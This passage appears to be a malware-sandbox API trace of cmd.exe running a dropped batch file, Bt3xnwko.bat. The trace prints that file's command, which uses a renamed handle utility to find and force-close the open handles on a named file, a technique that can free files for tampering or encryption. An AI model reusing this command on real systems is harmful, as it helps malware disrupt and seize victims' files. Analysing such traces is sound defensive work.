hConsoleHandle=0x7, lpMode=0x26f3d8 | out: lpMode=0x26f3d8) returned 1 [0069.938] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.938] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f404, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f404*=0x26) returned 1 [0069.938] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.938] GetFileType (hFile=0x7) returned 0x2 [0069.938] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.938] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f65c | out: lpMode=0x26f65c) returned 1 [0069.939] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.939] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x530dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f688, lpReserved=0x0 | out: lpBuffer=0x530dc0*, lpNumberOfCharsWritten=0x26f688*=0x2) returned 1 [0069.939] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f694 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0069.939] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.939] GetFileType (hFile=0x7) returned 0x2 [0069.939] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.939] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0069.940] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.940] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x2d) returned 1 [0069.941] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f6b4 | out: _Buffer="\r\n") returned 2 [0069.941] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.941] GetFileType (hFile=0x7) returned 0x2 [0069.941] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.941] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f674 | out: lpMode=0x26f674) returned 1 [0069.942] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.942] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f6a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f6a0*=0x2) returned 1 [0069.943] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0069.943] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0069.943] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0069.943] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0069.943] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0069.943] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0069.943] GetConsoleTitleW (in: lpConsoleTitle=0x26f224, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0069.944] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x26efe0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x26efd8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x26efd8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.945] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26ed7c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x26ed7c, lpFilePart=0x26ed78 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x26ed78*=0x0) returned 0x26 [0069.945] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0069.945] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26eaf8 | out: lpFindFileData=0x26eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5464c0 [0069.945] FindClose (in: hFindFile=0x5464c0 | out: hFindFile=0x5464c0) returned 1 [0069.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26eaf8 | out: lpFindFileData=0x26eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5464c0 [0069.946] FindClose (in: hFindFile=0x5464c0 | out: hFindFile=0x5464c0) returned 1 [0069.946] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0069.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26eaf8 | out: lpFindFileData=0x26eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5464c0 [0069.946] FindClose (in: hFindFile=0x5464c0 | out: hFindFile=0x5464c0) returned 1 [0069.946] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0069.946] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0069.946] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0069.946] GetProcessHeap () returned 0x530000 [0069.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x549658 | out: hHeap=0x530000) returned 1 [0069.946] GetEnvironmentStringsW () returned 0x548ac8* [0069.946] GetProcessHeap () returned 0x530000 [0069.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb88) returned 0x549658 [0069.946] FreeEnvironmentStringsW (penv=0x548ac8) returned 1 [0069.946] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.946] GetProcessHeap () returned 0x530000 [0069.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546460 | out: hHeap=0x530000) returned 1 [0069.946] GetProcessHeap () returned 0x530000 [0069.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546400 | out: hHeap=0x530000) returned 1 [0069.946] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.946] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0069.947] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.947] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0069.947] _get_osfhandle (_FileHandle=0) returned 0x3 [0069.947] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0069.947] SetConsoleInputExeNameW () returned 0x1 [0069.947] GetConsoleOutputCP () returned 0x1b5 [0069.947] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0069.947] SetThreadUILanguage (LangId=0x0) returned 0x409 [0069.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f65c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0069.948] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0069.948] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.948] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546390 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546320 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5462b0 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546240 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530db8 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5461e0 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546180 | out: hHeap=0x530000) returned 1 [0069.948] GetProcessHeap () returned 0x530000 [0069.948] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x531240 | out: hHeap=0x530000) returned 1 [0069.949] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.949] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0069.949] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f640, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f640*=0x94, lpOverlapped=0x0) returned 1 [0069.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0069.949] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.949] GetFileType (hFile=0x78) returned 0x1 [0069.949] _get_osfhandle (_FileHandle=3) returned 0x78 [0069.949] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0069.949] GetProcessHeap () returned 0x530000 [0069.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x554ab0 [0069.950] GetProcessHeap () returned 0x530000 [0069.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4008) returned 0x558ac8 [0069.950] GetProcessHeap () returned 0x530000 [0069.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe) returned 0x530db8 [0069.950] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"JNTFiltr.dll.mui\"") returned 0x12 [0069.950] GetProcessHeap () returned 0x530000 [0069.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530db8 | out: hHeap=0x530000) returned 1 [0069.950] GetProcessHeap () returned 0x530000 [0069.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x558ac8 | out: hHeap=0x530000) returned 1 [0069.950] GetProcessHeap () returned 0x530000 [0069.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0069.952] GetProcessHeap () returned 0x530000 [0069.952] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x53f4e0, Size=0x3c) returned 0x546228 [0069.952] GetProcessHeap () returned 0x530000 [0069.952] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x546228) returned 0x3c [0069.954] _tell (_FileHandle=3) returned 226 [0069.954] _close (_FileHandle=3) returned 0 [0069.954] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f414 | out: _Buffer="\r\n") returned 2 [0069.955] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.955] GetFileType (hFile=0x7) returned 0x2 [0069.955] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.955] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d4 | out: lpMode=0x26f3d4) returned 1 [0069.955] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.955] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f400, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f400*=0x2) returned 1 [0069.957] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.957] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.957] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f410 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.957] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f410 | out: _Buffer=">") returned 1 [0069.957] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.957] GetFileType (hFile=0x7) returned 0x2 [0069.957] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.957] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d8 | out: lpMode=0x26f3d8) returned 1 [0069.957] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.957] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f404, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f404*=0x26) returned 1 [0069.958] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x26f694 | out: _Buffer="FOR") returned 3 [0069.958] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.958] GetFileType (hFile=0x7) returned 0x2 [0069.958] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0069.958] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0069.959] _get_osfhandle (_FileHandle=1) returned 0x7 [0069.959] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x3) returned 1 [0070.495] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x26f694 | out: _Buffer=" /F") returned 3 [0070.495] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.495] GetFileType (hFile=0x7) returned 0x2 [0070.498] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.498] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0070.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.499] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x3) returned 1 [0070.500] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x26f694 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0070.500] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.500] GetFileType (hFile=0x7) returned 0x2 [0070.500] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.500] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0070.500] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.500] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x20) returned 1 [0070.501] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x26f694 | out: _Buffer=" %I IN ") returned 7 [0070.501] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.501] GetFileType (hFile=0x7) returned 0x2 [0070.501] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.501] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0070.501] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.501] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x7) returned 1 [0070.503] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x26f690 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner`) DO ") returned 61 [0070.503] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.503] GetFileType (hFile=0x7) returned 0x2 [0070.503] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.503] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f650 | out: lpMode=0x26f650) returned 1 [0070.504] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.504] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x26f67c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f67c*=0x3d) returned 1 [0070.504] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.504] GetFileType (hFile=0x7) returned 0x2 [0070.504] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.504] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f65c | out: lpMode=0x26f65c) returned 1 [0070.505] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.505] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x26f688, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x26f688*=0x1) returned 1 [0070.505] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.505] GetFileType (hFile=0x7) returned 0x2 [0070.505] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.505] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f640 | out: lpMode=0x26f640) returned 1 [0070.506] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.506] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x53f4e8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x26f66c, lpReserved=0x0 | out: lpBuffer=0x53f4e8*, lpNumberOfCharsWritten=0x26f66c*=0xc) returned 1 [0070.506] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f678 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0070.506] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.506] GetFileType (hFile=0x7) returned 0x2 [0070.506] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.506] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f638 | out: lpMode=0x26f638) returned 1 [0070.507] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.507] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f664, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f664*=0x26) returned 1 [0070.508] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f694 | out: _Buffer=") ") returned 2 [0070.508] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.508] GetFileType (hFile=0x7) returned 0x2 [0070.508] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.508] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0070.509] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.509] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x2) returned 1 [0070.509] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f6b4 | out: _Buffer="\r\n") returned 2 [0070.509] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.509] GetFileType (hFile=0x7) returned 0x2 [0070.509] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0070.509] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f674 | out: lpMode=0x26f674) returned 1 [0070.510] _get_osfhandle (_FileHandle=1) returned 0x7 [0070.510] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f6a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f6a0*=0x2) returned 1 [0070.511] GetProcessHeap () returned 0x530000 [0070.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2c) returned 0x5455e8 [0070.511] GetProcessHeap () returned 0x530000 [0070.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xc) returned 0x530db8 [0070.511] GetProcessHeap () returned 0x530000 [0070.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xc) returned 0x530dd0 [0070.511] GetProcessHeap () returned 0x530000 [0070.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe) returned 0x530de8 [0070.511] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0070.512] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0070.512] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0070.512] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0070.512] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0070.512] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0070.512] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0070.512] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x26f5d0, _Radix=0 | out: _EndPtr=0x26f5d0*=",6 delims=: \"") returned 3 [0070.512] wcstol (in: _String="6 delims=: \"", _EndPtr=0x26f5d0, _Radix=0 | out: _EndPtr=0x26f5d0*=" delims=: \"") returned 6 [0070.512] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0070.512] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0070.512] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0070.512] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0070.512] GetProcessHeap () returned 0x530000 [0070.512] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530de8 | out: hHeap=0x530000) returned 1 [0070.512] GetProcessHeap () returned 0x530000 [0070.512] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe) returned 0x530de8 [0070.512] GetProcessHeap () returned 0x530000 [0070.512] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x530db8, Size=0xe) returned 0x530e00 [0070.512] GetProcessHeap () returned 0x530000 [0070.512] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x530e00) returned 0xe [0070.512] GetProcessHeap () returned 0x530000 [0070.512] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x530dd0, Size=0x14) returned 0x5463c8 [0070.512] GetProcessHeap () returned 0x530000 [0070.512] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5463c8) returned 0x14 [0070.512] _wpopen (_Command="bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner", _Mode="rb") returned 0x76be2960 [0070.527] feof (_File=0x76be2960) returned 0 [0070.527] ferror (_File=0x76be2960) returned 0 [0070.527] GetProcessHeap () returned 0x530000 [0070.527] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x108) returned 0x5463e8 [0070.527] fgets (in: _Buf=0x5463f0, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0075.438] feof (_File=0x76be2960) returned 0 [0075.438] ferror (_File=0x76be2960) returned 0 [0075.438] GetProcessHeap () returned 0x530000 [0075.438] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5463e8, Size=0x208) returned 0x5463e8 [0075.438] GetProcessHeap () returned 0x530000 [0075.438] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5463e8) returned 0x208 [0075.439] fgets (in: _Buf=0x546436, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0075.439] feof (_File=0x76be2960) returned 0 [0075.439] ferror (_File=0x76be2960) returned 0 [0075.439] GetProcessHeap () returned 0x530000 [0075.439] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5463e8, Size=0x308) returned 0x5463e8 [0075.439] GetProcessHeap () returned 0x530000 [0075.439] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5463e8) returned 0x308 [0075.439] fgets (in: _Buf=0x546439, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0075.906] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0075.908] GetProcessHeap () returned 0x530000 [0075.908] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5463e8, Size=0x9e) returned 0x5463e8 [0075.908] GetProcessHeap () returned 0x530000 [0075.908] RtlSizeHeap 